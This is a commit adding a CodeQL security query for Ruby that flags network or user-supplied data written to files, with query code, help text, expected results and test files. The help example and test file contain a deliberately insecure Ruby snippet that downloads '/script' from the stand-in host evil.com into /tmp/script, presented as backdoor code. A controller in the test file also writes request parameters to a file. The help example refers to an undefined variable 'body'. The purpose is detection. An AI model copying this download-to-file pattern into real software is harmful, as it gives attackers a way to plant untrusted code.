Ruby: Add rb/http-to-file-access query

This commit is contained in:
Harry Maclean
2022-02-23 14:32:21 +13:00
parent 6c18e1d7ac
commit ff1d96c922
9 changed files with 171 additions and 0 deletions

View File

@@ -0,0 +1,37 @@
/**
* Provides default sources, sinks and sanitizers for reasoning about
* writing user-controlled data to files, as well as extension points
* for adding your own.
*/
import ruby
import codeql.ruby.DataFlow
import codeql.ruby.dataflow.RemoteFlowSources
import codeql.ruby.Concepts
module HttpToFileAccess {
/**
* A data flow source for writing user-controlled data to files.
*/
abstract class Source extends DataFlow::Node { }
/**
* A data flow sink for writing user-controlled data to files.
*/
abstract class Sink extends DataFlow::Node { }
/**
* A sanitizer for writing user-controlled data to files.
*/
abstract class Sanitizer extends DataFlow::Node { }
/** A source of remote user input, considered as a flow source for writing user-controlled data to files. */
class RemoteFlowSourceAsSource extends Source {
RemoteFlowSourceAsSource() { this instanceof RemoteFlowSource }
}
/** A sink that represents file access method (write, append) argument */
class FileAccessAsSink extends Sink {
FileAccessAsSink() { exists(FileSystemWriteAccess src | this = src.getADataNode()) }
}
}

View File

@@ -0,0 +1,28 @@
/**
* Provides a taint tracking configuration for reasoning about writing user-controlled data to files.
*
* Note, for performance reasons: only import this file if
* `HttpToFileAccess::Configuration` is needed, otherwise
* `HttpToFileAccessCustomizations` should be imported instead.
*/
import ruby
import codeql.ruby.TaintTracking
import codeql.ruby.DataFlow
import codeql.ruby.security.HttpToFileAccessCustomizations::HttpToFileAccess
/**
* A taint tracking configuration for writing user-controlled data to files.
*/
class Configuration extends TaintTracking::Configuration {
Configuration() { this = "HttpToFileAccess" }
override predicate isSource(DataFlow::Node source) { source instanceof Source }
override predicate isSink(DataFlow::Node sink) { sink instanceof Sink }
override predicate isSanitizer(DataFlow::Node node) {
super.isSanitizer(node) or
node instanceof Sanitizer
}
}

View File

@@ -0,0 +1,4 @@
---
category: newQuery
---
* Added a new query, `rb/http-to-file-access`. The query finds cases where data from remote user input is written to a file.

View File

@@ -0,0 +1,43 @@
<!DOCTYPE qhelp PUBLIC
"-//Semmle//qhelp//EN"
"qhelp.dtd">
<qhelp>
<overview>
<p>
Storing user-controlled data on the local file system without
further validation allows arbitrary file upload, and may be
an indication of malicious backdoor code that has been
implanted into an otherwise trusted code base.
</p>
</overview>
<recommendation>
<p>
Examine the highlighted code closely to ensure that it is
behaving as intended.
</p>
</recommendation>
<example>
<p>
The following example shows backdoor code that downloads data
from the URL <code>https://evil.com/script</code>, and stores
it in the local file <code>/tmp/script</code>.
</p>
<sample src="examples/http_to_file_access.rb"/>
<p>
Other parts of the program might then assume that since
<code>/tmp/script</code> is a local file its contents can be
trusted, while in fact they are obtained from an untrusted
remote source.
</p>
</example>
<references>
<li>OWASP: <a href="https://www.owasp.org/index.php/Trojan_Horse">Trojan Horse</a>.</li>
<li>OWASP: <a href="https://www.owasp.org/index.php/Unrestricted_File_Upload">Unrestricted File Upload</a>.</li>
</references>
</qhelp>

View File

@@ -0,0 +1,20 @@
/**
* @name Network data written to file
* @description Writing network data directly to the file system allows arbitrary file upload and might indicate a backdoor.
* @kind path-problem
* @problem.severity warning
* @security-severity 6.3
* @precision medium
* @id rb/http-to-file-access
* @tags security
* external/cwe/cwe-912
* external/cwe/cwe-434
*/
import ruby
import codeql.ruby.DataFlow::DataFlow::PathGraph
import codeql.ruby.security.HttpToFileAccessQuery
from Configuration cfg, DataFlow::PathNode source, DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink)
select sink.getNode(), source, sink, "$@ flows to file system", source.getNode(), "Untrusted data"

View File

@@ -0,0 +1,5 @@
require "net/http"
resp = Net::HTTP.new("evil.com").get("/script").body
file = File.open("/tmp/script", "w")
file.write(body)

View File

@@ -0,0 +1,14 @@
edges
| http_to_file_access.rb:3:8:3:52 | call to body : | http_to_file_access.rb:5:12:5:15 | resp |
| http_to_file_access.rb:9:16:9:21 | call to params : | http_to_file_access.rb:9:16:9:30 | ...[...] : |
| http_to_file_access.rb:9:16:9:30 | ...[...] : | http_to_file_access.rb:11:18:11:23 | script |
nodes
| http_to_file_access.rb:3:8:3:52 | call to body : | semmle.label | call to body : |
| http_to_file_access.rb:5:12:5:15 | resp | semmle.label | resp |
| http_to_file_access.rb:9:16:9:21 | call to params : | semmle.label | call to params : |
| http_to_file_access.rb:9:16:9:30 | ...[...] : | semmle.label | ...[...] : |
| http_to_file_access.rb:11:18:11:23 | script | semmle.label | script |
subpaths
#select
| http_to_file_access.rb:5:12:5:15 | resp | http_to_file_access.rb:3:8:3:52 | call to body : | http_to_file_access.rb:5:12:5:15 | resp | $@ flows to file system | http_to_file_access.rb:3:8:3:52 | call to body | Untrusted data |
| http_to_file_access.rb:11:18:11:23 | script | http_to_file_access.rb:9:16:9:21 | call to params : | http_to_file_access.rb:11:18:11:23 | script | $@ flows to file system | http_to_file_access.rb:9:16:9:21 | call to params | Untrusted data |

View File

@@ -0,0 +1 @@
queries/security/cwe-912/HttpToFileAccess.ql

View File

@@ -0,0 +1,19 @@
require "net/http"
resp = Net::HTTP.new("evil.com").get("/script").body
file = File.open("/tmp/script", "w")
file.write(resp) # BAD
class ExampleController < ActionController::Base
def example
script = params[:script]
file = File.open("/tmp/script", "w")
file.write(script) # BAD
end
def example2
a = "a"
file = File.open("/tmp/script", "w")
file.write(a) # GOOD
end
end